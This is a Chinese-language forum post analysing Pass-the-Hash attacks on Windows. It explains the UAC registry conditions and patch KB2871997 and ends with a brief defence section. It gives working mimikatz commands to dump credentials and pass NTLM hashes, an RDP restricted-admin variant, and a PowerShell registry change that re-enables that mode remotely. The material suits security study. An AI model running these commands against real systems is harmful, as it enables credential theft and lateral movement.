標題:PTH(Pass The Hash) 攻擊分析

taibeihacker

Moderator

PTH(Pass The Hash) 攻击​

1 概述​

獲取一台主機的本地管理員組成員賬號的口令NTLM 後,不需破解獲取口令明文,使用PTH 方式,將管理員賬號及NTLM 注入當前會話作為憑據,利用該憑證可以滲透獲取周圍主機的管理權限
對方主機需存在相同的賬號,且是管理員組成員
在Windows NT 5.x 系統中,管理員組賬號的網絡登錄均能獲取系統管理權
在Windows NT 6.x 系統及更高的版本中,管理員組(SID非500)賬號的網絡登錄不能獲取系統管理權限,administrator(SID為500)賬號的網絡登錄能獲取系統管理權
這類攻擊適用於:
域/工作組環境
可以獲得hash,但是條件不允許對hash 爆破
內網中存在和當前機器相同的密碼

2 UAC​

用戶帳戶控制(User Account Control) 是Windows Vista(及更高版本操作系統)中一組新的基礎結構技術,可以幫助阻止惡意程序(有時也稱為'惡意軟件')損壞系統,同時也可以幫助組織部署更易於管理的平台。
使用UAC,應用程序和任務總是在非管理員帳戶的安全上下文中運行,但管理員專門給系統授予管理員級別的訪問權限時除外。 UAC 會阻止未經授權應用程序的自動安裝,防止無意中對系統設置進行更改。
用戶帳戶控制(UAC)是新版Windows 的核心安全功能,也是其最常被人誤解的眾多安全功能當中的一種。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken,UAC就是通過上面的註冊表鍵值來判斷,默認設置為0。如果設置為1,則SID 為500 的管理員也不能通過網絡登錄的方式獲取高權限。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy,如果在註冊表中有這個鍵值,並且設置為1,則所有的管理組成員都可以通過網絡登錄獲取高權限。且管上面的一個表項FilterAdministratorToken 的值。

3 攻击​

mimikatz 的pth 功能需要本地管理員權限,這是由它的實現機制決定的,需要先獲得高權限進程lsass.exe 的信息
對於8.1/2012r2,安裝補丁KB2871997 的Win 7/2008r2/8/2012,可以使用AES keys 代替NT hash
使用mimikatz 先獲取hash:
1
2
privilege:debug
sekurlsa:logonpasswords
得到hash 後

3.1 工作组​

1
sekurlsa:pth /user:administrator /domain:workgroup /ntlm:ccef208c6485269c20db2cad21734fe7
微軟也對pth 打過補丁,然而在測試中發現,在打了補丁後,常規的Pass The Hash 已經無法成功,唯獨默認的Administrator (SID 500) 賬號例外,利用這個賬號仍可以進行Pass The Hash 遠程ipc 連接。

3.2 域内用户​

前提是:域用戶為本地管理組成員
1
sekurlsa:pth /user:eviluser /domain:adsec.com /ntlm:ccef208c6485269c20db2cad21734fe7
域內用戶不受補丁影響。

4 KB2871997​

Changes to this feature include: prevent network logon and remote interactive logon to domain-join ed machine using local accounts…
20200429143726.png-water_print

安裝KB2871997 補丁後,其他方面並沒有太多的變化。補丁會給本地賬號添加一個S-1-5-113 的SID,為管理組中的本地賬號添加一個S-1-5-114 的SID,這樣方便通過域策略進行管理,例如從域策略中全面禁止這類賬號的網絡登錄。

5 针对 RDP 的 hash 传递攻击​

說起hash 傳遞攻擊(pth),想到一般的都是psexec wce mimikatz 等直接執行命令。
本節紹了一種利用mimikatz + NThash 來啟動mstsc.exe 實現遠程登陸windows 桌面的方法,對不能執行命令又破解不出密碼的環境有很大的幫助。
其原理(條件)是遠程目標需要使用受限管理模式(Restricted Admin Mode),因為此模式下支持kerberos 認證,所以能使用hash 來登陸。
1
sekurlsa:pth /user:user name /domain:domain name /ntlm:the user's ntlm hash /run:'mstsc.exe /restrictedadmin'
如果受限管理模式被禁用,使用如下命令開啟:
1
mimikatz.exe 'sekurlsa:pth /user:user name /domain:domain name /ntlm:the user's ntlm hash /run:powershell.exe'
在彈出的powershell 窗口修改註冊表:
1
2
Enter-PSSession -Computer Target
New-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Lsa' -Name 'DisableRestrictedAdmin' -Value '0' -PropertyType DWORD -Force

6 防御​

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Policies\System\FilterAdministratorToken,系統中一個有Admin ApprovalMode,UAC 就是通過上面的註冊表鍵值來判斷,默認設置為0。如果設置為1,則SID 為500 的管理員也不能通過網絡登錄的方式獲取高權限。
20200429143747.png-water_print
 
返回
上方